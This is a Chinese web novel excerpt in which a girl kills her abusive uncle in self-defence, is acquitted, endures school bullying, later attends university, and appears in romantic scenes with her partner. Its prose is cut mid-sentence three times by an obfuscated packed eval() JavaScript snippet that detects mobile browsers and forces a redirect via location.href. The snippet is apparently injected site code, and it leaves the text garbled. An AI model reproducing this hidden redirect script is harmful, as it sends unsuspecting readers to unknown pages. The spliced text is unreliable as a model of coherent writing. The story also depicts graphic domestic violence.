晏迎以为婶婶只是说说而已,毕竟婶婶自个每天都忙得天旋地转。 纺织厂里有活要干,还要顾着家里的家务,照顾一家老小。 尽管晏迎帮她分担着家务活,但婶婶每天的日程还是排满的。 一个女人辛勤的背后,必然有一个懒惰的男人。 叔叔是远近闻名的游手好闲,回家后最忙的日子就是去村里的棋牌室打牌搓麻将。 赢了钱还好,输钱之后回家看谁也不舒服,婶婶不理会他,他也会主动找婶婶麻烦。 抱怨菜煮咸了,抱怨天太冷茶水凉得太快,抱怨今天手气不好输了这么多,都是婶婶的错,娶了她之后日子越来越倒霉了。 不下蛋的母鸡,下蛋也只能生出赔钱货女儿来。 这些话晏迎觉得耳朵都要听得起茧子了。 没用的男人全身上下最厉害的地方就是嘴巴。 婶婶只当他是空气,晏迎则会男人破口大骂的时候把囡囡和晏远抱回房间。 她把两个妹妹哄睡着之后,听到了隔壁男人已经睡着的鼾声,那鼾声如雷,晏迎无数次的希望他一个呼吸卡住下不来,死了才好。 婶婶没在房间,她在客厅点了一盏煤油灯,手上拿着一团簇新的毛线。 她低头借着昏黄的灯光,在织一双手套。 晏迎走过去仔细去看,那浅绿色的手套像是初春河边刚长出来的植物嫩芽,针脚细密,还没有全部织完,但晏迎已经感受到了细腻柔软的温暖。 她坐到婶婶旁边劝道:“婶,休息一会吧,灯光暗,会伤眼睛的。” 婶婶手上的动作没停,她摇摇头:“早点织完你也可以早点戴上。” “这天啊,越来越冷了。” 晏迎听出了婶婶话里的唏嘘,她低头帮婶婶理着一边的毛线,小声地问道:“婶,叔叔什么时候走啊。” 只要他离开了,家里的气氛又会恢复到从前那样快乐幸福。 婶婶织毛衣的手一顿,差点织错了针脚,她明白晏迎心里在想什么,安慰似的拍拍她的肩膀:“我也不知道他什么时候走,谁能管到他呢,咱们当他不存在就好。” “婶,我只是害怕。” “害怕什么?” “害怕他又对你动手。” 婶婶感觉自己的眼角发酸,她摸摸晏迎的头顶,想说什么却又因为喉咙口的哽咽忍住了。 晏迎戴上手套的那天,男人还赖在家里,不干活,不下地,也不工作。 每天只是和狐朋狗友一起出去玩,再喝得醉醺醺地回来。 除夕那天,男人去了棋牌室通宵。 婶婶领着三个孩子,在院子里放烟花。 那是晏迎少年时代里的最后一场烟花。 烟花绽放的样子,她在很多年之后回想起来时已经记不太清楚了。 那些转瞬即逝的美丽比昙花还要短暂,成为她记忆里模糊不清的光影。 她只清楚地记得那个夜晚的欢笑声。 婶婶笑眯眯地看着她们,囡囡拿着仙女棒的烟花满院子里疯跑,晏迎捂着晏远的耳朵,看面前的烟花筒“砰”的一响,绽放出窜天的烟花树来。 那晚她们的笑声混合在一起,编织成一张捕梦的大网,让梦境也变得香甜动人。 这个年,也算顺顺利利过完了。 年后男人又计划着出去打工,年前赚来的钱早就被他输了个精光。 全家人巴不得他赶紧走,好让日子变得更清净些。 男人在家躺了这么些天已经懒惰成性,嘴上说要继续出去找工作,但行动上可是一点也没有动。 婶婶一直躲着男人,不愿意和他多说一句话。 小的摩擦常有,但是大的争吵都因为婶婶单方面的忍让避免了。 可是只要男人一天没有离开这里,家里就潜伏着一只怪兽。 那只怪兽贪婪易怒,暴躁野蛮,却又懦弱无能。 “它”只攻击家里的孩子和女人。 争吵声再一次响起的时候,晏迎敏锐地从被窝里起身。 她的第六感告诉她,这次不是小小的摩擦。 囡囡和晏远也被愈来愈大的争吵声吓醒,抱在一起眼巴巴地看着晏迎。 两双单纯干净的眼睛被恐慌、惊吓还有泪水所填满。 晏迎起床给她们盖好被子,摸摸她们的头安慰道:“没事没事,姐姐去看看情况,你们两个就呆在这里,不允许跑出去哦。” 她听到了隔壁摔东西的声音,清脆一声,彻底打破夜晚的宁静。 “我实话和你说了吧,我在外头欠了一笔债,现在得用我大哥的赔偿金和遗留下来的那笔钱来还,你快点把存折给我,我去银行取出来还债。” “不行,这笔钱我存起来是要给晏迎和晏远交学费的,你别惦记着这笔钱,这笔钱必须花在两个孩子身上。” “上什么破学!给她们一口饭吃饿不死养大了就得了,又不是我们亲生的,有钱不用你是不是蠢?” “这笔钱我是绝对不会给你的。” “老子不管!快点把钱交出来!” “不给。”婶婶的声音不大,但是坚决冷静。 “啪”一记响亮的耳光声响起,这巴掌没有打在晏迎的脸上,可是晏迎却觉得脸颊上被烈焰灼烧一般疼痛。 她觉得自己此刻的心跳不断在加快,几乎要从嗓子眼干呕出来。 她的耳朵里面嗡嗡地在发响,似乎那一耳光,将她打得头晕眼花以至于耳鸣不止。 她的大脑不听使唤一样快步走向婶婶的卧室,透过没有关严实的门缝,看到了男人死死扼住女人的喉咙。 婶婶不停捶打挖挠着他的手,却只是徒劳。 男人空出一只手,又狠狠扇了婶婶一记耳光。 婶婶满脸通红,不仅仅是因为挨了巴掌,还因为强烈的窒息。 晏迎冲过去推开那扇门,一拳打在了男人的小腹。 男人吃痛,大叫了一声,低头对上了晏迎的眼睛。 那个眼神不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231338|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该出现在一个十来岁小孩的眼睛里。 晏迎见他还不松开婶婶,咬牙又狠狠踹了男人一脚。 那一脚的位置,正中男人裆部。 他不是最想要儿子吗?那就让他直接断子绝孙好了! 这一脚,让男人痛得立马松开了掐住婶婶脖子的手。 他弯腰痛得直喊娘,也彻彻底底被这一脚激怒。 晏迎拉着婶婶的手想往外跑,但被男人一把揪住了头发,狠狠撞在了墙上。 那一下及其用力,让晏迎感觉自己丧失了所有的直觉。 有温热的液体从额角流下,缓慢滑过晏迎的眼睛。 晏迎涣散的视觉被一片猩红包裹住,她通过婶婶的尖叫得知,自己流了好多血。 婶婶想要扶她起来,却被男人一把推倒在地。 男人的拳头继续挥向倒地不起的晏迎,婶婶挣扎着跑过去死死抓住男人的手。 她两只手紧紧握住男人的右手腕,手背因为太过用力,青筋扭曲地凸起。 男人爆了一句粗口,空出来的左手一把揪过婶婶的衣领,将她甩在了一旁的门上。 他撸起袖子开始打婶婶。 白墙之上,男人挥拳的影子像是张开血盆大口的怪兽。 他一边打一边说:“老子今天就把你们一起打死,看你们给不给这个钱。” 晏迎觉得嗓子眼也是腥甜的,她猛地咳嗽了几声,指甲扒拉着粗糙的地面,将她的手指磨破,她一边喘气,一边寻找着一个支力点。 头好痛,但是她必须站起来。 她摇摇晃晃地站起来,擦了一把脸上的血迹,视线逐渐变得清晰。 婶婶的眼角、嘴角、鼻翼都已经变成充血的紫色,男人拳头上的血迹有婶婶的血,也有她的血。 晏远咬牙,视线转移,床边的小桌子上,放着一把锐利的剪刀。 婶婶就是用这把剪刀,剪掉多余的浅绿色毛线,给她织就一双厚实温暖的手套。 如今,这把剪刀在昏暗的灯光之下,发出一丝冷冽的光,像是某种邀请。 邀请她终结这一切。 白墙上黑色的剪影像是被按下了暂停键,男人的拳头在即将落下的那一秒,无力地垂下。 恶龙,被屠杀。 晏迎拔出那把锐利的剪刀,鲜血喷射她满面。 男人不可思议地扭过头,与她眼神交接的那一秒,那把锋利的剪刀又插了进去。 这是最后一下。 男人的眼睛睁得很大,直直倒下。 婶婶挣扎着起身,她看了看晏迎,又看了看倒在地上的男人… 她张了张嘴,却发不出一点声音。 她的嘴角有血淌下来,眼角有泪淌下来。 血和泪混合在一起淌过面颊,刺痛充血肿胀的伤口。 欲语血先流,欲语泪先流。 晏迎跨过那具逐渐冰冷的尸体,她蹲下来,伸出手扶婶婶起来。 当两双受伤的手互相交握的那一刻,她们浑身的血液似乎相通相溶,身上的疼痛也连接起来,让她们忍不住互相拥抱住。 婶婶把晏迎紧紧搂在怀里,不停地说:“孩子,对不起…” 晏迎抬手拍了拍婶婶单薄的背,她的声音没有发抖,稳得可怕。 她很镇定,吐字清晰且冷静。 她说的是:“婶婶,晏远以后,就拜托你照顾了。” 警车的鸣笛声响起,晏迎在坐上警车之前,抬头望了望天上的月亮。 很圆满的一轮,像是古诗里形容的白玉盘,像是路口早餐店炉子里的大饼,像是一盏她永远触及不到的灯光。 她坐上警车,仍由女警用一块温热的毛巾,替她擦拭掉脸上的血迹。 她在闭上眼睛,流下泪水。 落在手背上的泪珠,也是月亮那么圆的形状。 33. 33 开庭那天,是个晴朗的天气,冷但有太阳。 因为构成正当防卫的对象要求是必须针对不法侵害人本人,而不能针对第三人,提供法律援助的律师在开庭前,委婉地向婶婶解释了一遍。 婶婶的脸上还缠着绷带,她点点头,表示知道了。 “他拿我侄女的头撞墙,进行踹打,扇耳光,掐脖子的行为,我阻拦未果,我侄女只好拿起剪刀进行防卫。” “她做的一切,只是为了保护自己。” 婶婶作为重要人证的证词成立,验伤报告也铁证如山,加上晏迎本身情况也特殊,她未满十三周岁。 法院认定晏迎的行为构成正当防卫,宣告其无罪。 尽管无罪,但晏迎还是被当地少儿关爱中心拉去进行了一段时间的心理辅导。 婶婶接她回家的时候,是在一个飘着小雨的下午。 熟悉的灰色天气,蓝色三轮车,红色雨披。 晏迎背着包走出来,怀里还抱着一个盒子,那是给她进行心理辅导的姐姐送的。 里头有书,还有各种各样的文具。 她说人生还长着呢,好好学习,好好生活,好好爱自己。 晏迎没带伞,婶婶冲她挥挥手示意别淋雨,在屋檐底下等着,她把车开过来。 下雨的冬天会有一股带着潮气的冷,晏迎打了一个寒颤,抱紧了手里的盒子。 那盒子有些沉,她却有一种抱紧浮木般的安定和温暖。 婶婶脸上的绷带已经拆掉了,伤口涂着药水,远看过去还是红红紫紫一片。 晏迎对上婶婶的眼睛,两个人都冲对方不约而同地笑了一下。 这一笑,拉扯着她们脸上的伤口在发痛,却又因为伤口里面在长粉红色的新肉,痛里面带着想伸手挠一下的痒痒。 两个人的眼睛里都是湿漉漉的,婶婶招呼道:“傻孩子快上车,饿了吧,车里面有吃的。” 晏迎打开搪瓷碗上面的盖头,里面捂着两个香喷喷的烤红薯。 她捧在手心里,觉得掌心滚烫,其实她并不是很饿,但还是撕开了外皮,咬了一口金黄流蜜的肉。 婶婶的声音响起:“好吃不?回家还有段路,你先垫巴几口,可别吃饱了,家里已经做好了饭菜,都是你爱吃的,红烧鱼,辣椒炒肉,外婆菜炒鸡蛋,酸萝卜老鸭汤……” 那只过年都没有舍得杀的鸭子,现在因为她回来了,在锅里温火炖得喷香。 婶婶给她报着菜名,声音里是不同于往日的精神气。 “婶,这吃的比过年还好啊。” “你回来了,是比过年还让我们开心的事情。” “囡囡和小远呢?” “这两孩子闹腾,带着她们来接你不方便,托给隔壁王婶先照顾着点了,你不在的那些日子,两孩子数着手指头盼你回来呢,一天吃三顿饭,每吃一顿都要问我一遍,姐姐什么时候回来。” 晏迎附和着婶婶又聊了一路家常,谁也没有提那个男人的事情。 仿佛他从来没有存在过他们的生命里一样。 那天晚上睡觉的时候,晏远蜷缩在她的怀里,小手紧紧拉着她,生怕醒过来,她再次不见。 晏迎抱着她,在一片漆黑里感受着时间的流逝。 她也不知道自己是几点才睡着的,但她那个晚上,没有再做有关于怪兽的噩梦。 早上她醒得很早,婶婶已经把早饭都准备好了。 她灌了一大碗掺了玉米糊的粥,觉得胃里滚烫,整个身体都散发着热量。 她拿起收拾好的书包出门,她觉得自己现在可以抵御一切寒冷。 她踏过崎岖不平的山路,穿过高高的芦苇丛,奔向学校,重新回归校园。 那是太阳的方向。 晏迎的学生时代是塑造她性格的转折点。 她回想起那段算不上好过的时光,有时候居然还有点怀念。 她背着书包走进教室的时候,就感受到了底下同学的窃窃私语。 “那种事情都发生了,她居然没有退学?” “离她远点吧,毕竟是杀人犯。” “她连自己都叔叔都杀,这不是养了只白眼狼吗?” “嘘,你们小声点,别把她听到了。” “好害怕啊,这种人出社会以后得多可怕…” 站在讲台上的老师轻轻咳嗽一声,全班顿时鸦雀无声。 同学们不说话了,但是眼神交流变多了。 那些带着同情、嘲笑、鄙夷、害怕的眼神交织在一起,像是平地中无端生长出来的荆棘。 老师的目光投向晏迎的背影,低下头叹了口气。 没有人愿意做晏迎的同桌,晏迎索性自己一个人单人独桌坐在了最后。 她个子高,哪怕是坐在最后,也能把黑板上的字看清楚。 没有人愿意搭理她,她也乐得逍遥自在一个人。 来学校反正是学习的,这样一直相安无事挺好。 打破这份平静的是一个早晨,晏迎放下书包准备拿出语文书早读。 她的手伸向自己的抽屉时,微微愣住了。 潮湿的触感让她及时伸出了手,里面不知道被谁,塞满了黏腻发臭的垃圾。 以及一张用记号笔加粗写下的字条。 那些字迹,来自不同人的手笔,歪歪扭扭,像是吃人的口,张大嘴巴冲晏迎呐喊着羞辱的话。 “去死。” “不想和杀人犯做同学。” “滚!!!!!” “真恶心!!” 晏迎拿起这张字条,对着窗外的阳光仔细去看。 不少人带着期待的目光回头,想看到她大惊失色的表情,想看她流眼泪,想看她发抖。 但那些目光聚焦到晏迎身上凝视她的时候,他们都失望了。 冬天,快要结束了,初春的阳光显得格外动人。 那清晨正当好的阳光透过干净的玻璃窗照到晏迎的侧脸上,把她的模样照得格外美好。 她没有任何难过的表情,她甚至觉得好笑似的,唇角绽放出了一抹浅笑,就像是,一朵注定会开得很美丽的花苞。 那张字条上所有的字,都被她看完了。 她把那张字条在掌心中揉成一团,变成一个扎实的纸球,然后她潇洒地抬手,随着一个完美弧线的诞生,纸球被她利落地投到了垃圾桶里。 有人不甘心地把脸转过去看她,她依然站在光下,直视每一双看着她的眼睛。 晏迎开口道:“你们只能这样了吗?” 她似乎觉得自己措辞不严谨,皱眉想了一下,又笑着一字一顿道:“你们,只会,玩这种小把戏了吗?” 她从容清理完了桌肚里的垃圾,用水和纸巾将自己的双手清理干净,最后还好兴致地给自己的手涂了点婶婶给她买的护手霜。 是玫瑰的味道,馥郁芬芳。 她指间关节处的冻疮已经好的差不多了,但婶婶织给她的浅绿色手套仍旧被她随身携带,好好珍藏。 语文老师进了班级,班级里重新响起了早读语文课文的声音。 “今天是都没有吃早饭吗?怎么一个个声音有气无力的?” 底下的声音稍微大了点,但还是蔫了似的没有精神,像是打过霜的茄子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238046|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晏迎的声音在早读声里格外清晰,她念的是李白的《早发白帝城》。 “朝辞白帝彩云间,千里江陵一日还。” “两岸猿声啼不住,轻舟已过万重山” 过万重山了吗? 晏迎在心底问自己。 她的答案是,还早着呢。 但那又怎么样? 早读课下课之后,班级里也没有了往日活跃的氛围,她打开书包,拿出来了给她做心理辅导的姐姐送给她的一本书。 这是一本关于如何自洽,如何调节自我情绪的心理学书籍。 书的名字叫《向阳》,红底封面之上,印着一行白色的字迹。 “人想要过好一生,要不断与自我和解,才能把路更好地走下去。” 晏迎翻开了扉页,用黑色水笔,将心理辅导师对她的祝愿写在了扉页。 “人生的路还很长,好好学习,好好生活,好好爱自己。” 之后像是这样明目张胆往她抽屉里塞垃圾的事情都是没有了,但暗地里的孤立和排挤却源源不断。 比如,订校服的时候有人故意改掉晏迎写好的码数,改成男生的款式和超大码。 比如晏迎写好的作业交给了课代表,但老师表示并没有批改到她的作业,她的作业长脚似的自此消失不见。 比如她的事迹被人添油加醋传唱,越传越离谱,一时间“晏迎”这两个字不是她的名字,而是一个故意被抹黑的形容词。 同学路过她的时候会故意大声说:“你怎么可以这么做?你好晏迎哦~” “这件事好恶心,也太晏迎了吧。” “哈哈哈哈哈哈哈哈哈哈哈。” 诸如此类的事情数不胜数,晏迎的心智比他们成熟很多,有时候她觉得和他们生气都是在浪费自己的情绪。 她面无表情地穿梭过各种形形色色层出不穷的针对,心态平和,一点也没有因为这些事情,影响自己的情绪和学习。 她仍旧名列前茅,她知道自己真正想要的是什么。 不过她嫌烦的时候也不会憋屈地忍着,该骂回去就喝口水润润嗓子开骂,该反击就撸起袖子开打,该报复回去的事情儿,她一件也不会落下。 学习也不能学呆瓜了,要不然真把她的不计较当作是好欺负了。 毕竟小人畏威不畏德。 晏迎叼着根狗尾巴草躺在草地上,享受太阳迎面而来的温度。 那样温暖,那样热烈。 有人躺在了她旁边,是采花回来的囡囡和晏远。 晏远拿了一朵浅粉色的小花别在了晏迎的耳后。 囡囡从口袋里掏出糖果,拆开糖纸,递到了晏迎嘴边。 晏迎舒服地眯了眯眼睛,笑道:“花好看,糖也甜!” 这些年流言蜚语不断,甚至有话多的人怂恿囡囡,晏迎,是她的杀父仇人。 囡囡是怎么回答来着? 她说的是:“如果没有姐姐,那么我会拥有一个重男轻女的,动不动就家暴母亲的赌鬼父亲,他也许会在某一天把我卖掉去还赌债。” “他是你亲爹,晏迎又不是你亲姐姐。” “他打我妈那天开始就不是我亲爹了,而姐姐就是我的亲姐姐。” 囡囡的大名原来叫晏招楠,招楠,招男。 后来在婶婶的授意下,晏迎给她改了大名。 叫晏越,吴越同舟的越,迈越常流的越。 摆脱掉吃人的怪兽,摆脱掉流言蜚语,摆脱掉无休止的压迫和欺凌之后,她们都会过万重山。 会迎来,和风一样自由的未来,和太阳一样灿烂的前程。 34. 34 晏迎考上南城理工大学设计系的那天,婶婶敲锣打鼓给她大办了一场。 村里来的人不多,但婶婶不管,她买了好几箱鞭炮,热热闹闹地给晏迎放了一场。 鞭炮大红色的碎屑散落一地,像是天降喝彩。 这个村,几年也出不了一个大学生。 他们都看不起晏迎,但偏偏晏迎最争气。 婶婶都笑开了花,嘴角怎么也合不拢。 不止晏迎有出息,晏远和晏越的成绩也很不错。 有嘴甜的邻居说婶婶教导有方,婶婶直摇头道:“我就给三个丫头保障好后勤工作,她们优秀,是她们自个争气。” “能有这三个闺女,是我这辈子最幸运的事情。” 晏迎走的那天,一家子都来送她。 绿皮火车从远方开来,发出嗡嗡的轰鸣声。 浅绿色的手套和那本大红色的《向阳》被晏迎放在行李箱里带走。 宛如新生活的开场白。 晏迎坐到火车上的时候,重新打开了那本《向阳》,她伸出指尖,抚摸着扉页自己留下来的文字。 她拔开笔帽,重新添上了一句话。 “我正前往,有太阳的地方。” 后来晏远高考超常发挥,考入南城大学的天文系,晏越也考得不错,去了北方一所重点师范大学。 就像是婶婶所期望的那样,她养大的孩子们,都变成了可以展翅翱翔的鹰,飞往更远的地方。 晏迎曾经提出要把婶婶接到南城来定居,婶婶笑着拒绝了。 她说年纪大了,不乐意折腾了,老家的一砖一瓦,一草一木,她不愿意割舍。 “已经在这里生活了大半辈子了,不想去大城市给你们添麻烦,我也不喜欢那里,上次去南城看你和小远,就觉得大城市节奏太快了。” “婶婶,我就是不放心您一个人在家。” “迎,老家挺好的,我和邻居互相帮衬着,不寂寞,这里是你们三个长大的地方,呆在这我总能想起你们,我也安心。” “囡囡在北方离这最远,您万一遇到什么事情,第一时间打电话给我。” “好好好,我知道啦。” 逢年过节只要不忙了,晏迎就会开车带着晏远和晏越回家看望婶婶,婶婶也会每个星期打几次电话给她们。 在和季磊谦不欢而散的第三天,晏迎接到了婶婶的电话。 “迎迎,最近还好不,工作还顺利吗?” “我挺好的婶婶,一切都顺利。”她隔着电话强颜欢笑,最近糟心事情其实挺多的,但是她不愿意让婶婶担心。 婶婶年纪大了,要是再为她们这些小辈操碎了心,岂不是罪孽? “好,你一切顺利就好,小远这孩子呢,她最近怎么样呀?” “小远也一切都好,婶婶您就放心吧,您现在身体还好不?” “我挺好的,你不用操心我,我刚刚打电话给囡囡,这孩子告诉我她谈恋爱了,对象是她学长,她说人品还不错,稳定下来就带回家给我掌掌眼,你呢迎迎,你都工作这些年了,你的对象咋还没稳定下来?” 晏远咬着苹果走过来,一屁股坐在了晏迎的旁边,晏迎按了免提,刚刚和婶婶的对话被她一清二楚。 她笑嘻嘻地赶在晏迎之前抢答道:“婶婶!姐姐现在也有稳定的男朋友了,是我的大学老师,姐夫人可帅可厉害了,您放心,绝对配得上我姐。” 婶婶的笑声从电话那头传来,让晏迎面颊一红。 她拍打了一下晏远的肩膀,笑道:“就你话多。” 晏远冲她吐了吐舌头大声道:“姐姐最近和季老师可甜蜜着呢,我都要变成大电灯泡了。” 婶婶也笑:“迎迎,什么时候把人带回来,我替你爸爸妈妈看看这小伙子怎么样。” “好,我争取尽快带回来。” 她们又和婶婶唠了些家常就挂断了电话,晏迎一头倒在了沙发上,轻轻叹了口气。 “咋了姐姐,这几天你心情貌似不好,感觉你的气场都稍微变得有些低落了。” 晏迎闷闷地说:“没事,就是工作上遇到了一些小问题。” 该死的季磊谦,晏迎暗暗握拳,去查她是吧,还用这种事情暗暗威胁她是吧? 大不了摊牌,光脚的不怕穿鞋的,她没什么好见不得人的。 要不是看他那张脸神似季品诚,晏迎早就手痒痒想扇上去了。 但她一想到季磊谦这人极度不要脸,她伸手打他巴掌他估计还会笑着舔一口她的手。 晏远凑近她,挑眉道:“亲爱的姐姐,你最近的低落季老师早就看出来了,他还偷偷问过我呢。” 晏远清了清嗓子,学着季品诚的口吻道:“晏远,你姐姐最近怎么了,我看她有些不高兴,你要是知道她为什么不高兴,一定要告诉我。” 晏迎一骨碌从沙发上坐起来:“你怎么回答他的?” “我就说姐姐你最近来大姨妈了心情不好。” 晏迎笑了:“难怪他天天让苏阿姨给我换着花样炖什么红枣汤,红糖泡鸡蛋什么的。” “其实他也直接问过我来着,但我嘴硬,不想告诉他,”晏迎靠着晏远,咬了咬下嘴唇,“有些事情我就算想告诉他,也不知道一下子怎么开口。” 所以这几天季品诚约她出来吃饭散步,她也以工作忙为借口推脱掉了。 不知道她这份莫名其妙的冷淡也没有伤害到他的心。 唉,晏迎闭上了自己的眼睛。 晏远皱眉,她第一次看到姐姐这么纠结,有些心疼地抱住了姐姐。 “姐,你是和季老师有什么矛盾了吗?” “和他有关,但不是闹矛盾了,他挺好的,我当然也很好,可有些事情我不知道怎么说。” 都怪季磊谦这个贱人! 他们两口子之间的事情晏远不打算多问,她知道姐姐如果想说一定会主动说的,她不想勉强姐姐把心中难受的事情一下子吐露出来。 晏远笑了笑:“我最最最亲爱的好姐姐,既然是和季老师有关的你就直接和他说吧,要不然他真的不知道。” “你别折腾季老师了姐姐,季老师对你的心天地可鉴,只要姐姐你没有爱上别人,其他事情我觉得对于季老师这种淡定的人来说,都不算是啥事情。” 她这番话,倒是提醒晏迎了。 对哦!还是挺有道理的...... 晏迎看了一眼手机上的时间,还没到晚上七点半,不算早也不算晚,反正季品诚肯定没睡。 她拿出手机,给季品诚发送了一条微信。 “我想你了,想和你见面,有空吗?” 晏远别过了眼睛,偷笑道:“姐姐,你和季老师发消息都是这么直接的吗?” “和他这种人,就得这么直接。” 季品诚从厚厚的专业书里抬头,拿起放在一边的手机,他看到了晏迎的消息。 他如释重负地叹了一口气,回复道:“嗯,我有空,我马上出来见你。” 这些天她和他无论是见面还是打电话的次数都明显变少了,季品诚问她怎么了,她也是笑着说没事,只是工作太累了。 她连朋友圈和微信状态都不更新了。 季品诚怕她遇到什么大事自己硬扛着不吱声,也怕...也怕她不要他了。 尽管有时候知道是自己多想了,不要杞人忧天,但有关于她的事情,季品诚还是忍不住。 季品诚穿好衣服,还不忘在身上喷点香水。 他记得晏迎最喜欢他这瓶香水的味道。 上次他就是喷了这个味道的香水,被晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238047|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎用领带绑住双手,压在沙发上亲吻。 她亲完他之后就松开了他,但没有给他解绑。 他的银框眼镜被她用食指尖勾住,放在了茶几上。 季品诚仰头看她,看见她在笑,她的目光像是一条冬眠结束的蛇,身体灵活地游走在他的脸上。 她躺在了他的身边,然后支撑起自己的身体去看他。 “季老师,你知道为什么要摘掉你的眼镜吗?” 季品诚知道她一些奇奇怪怪的癖好,但他睁着眼睛对她说瞎话,装作不知道问她:“为什么?” 这个问题,正中她下怀,她靠在他的怀抱里,伸出双手捧住了他的脸。 她指腹的反复抚摸让他感觉脸上痒痒的,像是有小鱼在亲吻他的脸。 她换了一个位置,抬头就能吻上他的下巴。 她的牙齿是坚硬的贝壳,此刻在轻轻啃咬他。 他的双手还被领带禁锢着,不愧是学设计出身的,打的结,就是牢固。 季品诚此刻有些难受了,但是他没有开口求她把那个结解开来。 她喜欢这样…就随她吧,自己好像也不是不可以接受。 晏迎亲过瘾了才想起来自己好像没有回答他的问题,她有些抱歉地抱了抱他,对上他那双目光已经有些朦胧的目光。 这是?被她给亲迷糊了? 季品诚就这么点耐力?不应该啊?他不是该非常清醒地看着她,然后问她为什么像是小狗一样咬他吗? 不管了,先把刚刚欠他的问题回答了。 晏迎的食指滑过他高挺的鼻翼,她的声音很轻,像是偷偷说给他听。 “因为摘掉你的眼镜之后,我就可以欣赏你不加任何修饰的脸了,你不戴眼镜两只眼睛干干净净看向我的时候,让我更想…” “更想什么?” 晏迎在脑海里挑选着合适的词语来形容,最后她轻轻笑道:“更想亲亲你。” 当然不止是想亲亲…也只有季品诚这种呆瓜才会信。 晏迎听到了他低低的笑声。 她得寸进尺地摸了摸他被领带绑着的双手,诚恳地问道:“难受吗?” 季品诚不知道她问的难受是指哪里难受,他喘了一口气,一字一顿地回答她:“你,说,呢?” 晏迎嘴上和他道歉,但是表情一点忏悔之色都没有,甚至还有一点得意。 她灵活地解开了季品诚手上的结,把那条暗灰色的领带抽了出来。 领带上,还被她喷了香水。 她随便拿的,却没想到味道这么好闻。 微甜的水果质感和苦苦的乌木相结合,这两个味道交缠在一起,像是此刻交叠的他们。 晏迎把那条领带放在了自己的鼻子下面,她闻到了后调里此刻翻涌而来的玫瑰味。 季品诚转转自己的手腕,发出筋骨扭动的咔嚓声。 被她绑得太久了,他要活动一下筋骨。 这声音和这气味刺激着晏迎,她感觉自己大脑不受控制一般,用那根领带蒙上了季品诚的眼睛。 他陷入了她带来的黑暗,却没有挣扎。 他听到她的声音响起,温热的呼吸挠痒痒一样吹过他的耳朵。 “以后都喷这个香水好不好?我特别喜欢这个味道,这是你目前为止,所有香水里,我觉得最好闻的一个。” 现在,季品诚出门见她之前,特意又给自己喷了这个香水。 苏阿姨端着一盘切好的水果放在茶几上,有些疑惑地看他一眼。 “季老师,这大晚上的,你穿这么整齐还喷香水出门,是要去参加什么重要场合吗?” 季品诚脸上一红:“不是,我只是去见一个人。” 苏阿姨明白了,她笑着长长地“哦”了一声,“那肯定是去见晏迎了~” 35. 35 晏迎见到季品诚的时候满脸问号。 “季老师,咱们就在这附近散个步而已,你至于穿这么隆重出来散步吗!!!” 季品诚:“……” 晏迎痛心疾首道:“你个心机鬼,自己穿这么好看,我没化妆披了个珊瑚绒睡衣就出来了,你是不是想让我绿叶衬你这朵红花!” 晏迎嘴上这么说,身体还是诚实地冲过来抱住了他。 帅死了,请让此人的花期长存。 她穿的很厚实,粉红色的大睡衣让她看起来像是一只草莓熊。 季品诚也抱住了她,感受到了来自她的,独一份的踏实的温暖。 他的下巴碰到她一点点头发,有点痒,但他很喜欢。 是喜欢痒吗?也不见得,只是单纯喜欢她,喜欢来自她身上带给他的所有感受。 季品诚开口:“我不是红花,你才是红花。” “我只是想着要来见你,所以便穿成这样了。” 哦~晏迎笑了,原来是男为悦己者容。 “就喜欢听你说这种话,听了之后特别开心,你多说点。” 那么近的距离里,晏迎嗅到了他身上,那瓶香水的味道。 这味道撩拨着晏迎的心弦,她又低下头忍不住笑了一声。 她上次只是被荷尔蒙冲昏了大脑,说着逗他玩而已,那些香水,只要是喷到他身上,她都会很喜欢。 毕竟人长的好看,香水带来的气味不过只是点缀。 她非常给季品诚面子地抱着他猛吸一口,夸道:“季老师,你好香,让我忍不住想要亲亲你。” 季品诚的耳垂,熟透似的变红,这周围还有人,他也知道她不会真的亲他,但她光是说说,就让他脸上发热。 “你今天好像又变得开心了。”他陈述一个事实。 晏迎从他的怀抱里抬头,眯着眼睛看了看他:“嗯,见到你,我就开心了。” 季品诚低头和她对视:“那你前几天为什么不见我?” 额,好问题。 晏迎清了清嗓子,真诚地向他解释道:“我前几天也没刻意躲着你,就是我确实心情不太好,怕连累你也一起不开心。” 糟糕,晏迎说完就后悔了。 她忘了他不喜欢自己说这种话,对于他来说,自己需要他,比回避他要好上一百倍。 晏迎闭眼,死嘴,怎么把话说得这么快。 果然,季品诚搂住她的手又更紧了一点,他凑近她的脸,香水的后调也越来越清晰。 淡淡的玫瑰味被强烈的苦乌木味包裹,带有极强的侵略性。 他的语速很快:“我没那么容易被你拖累。” 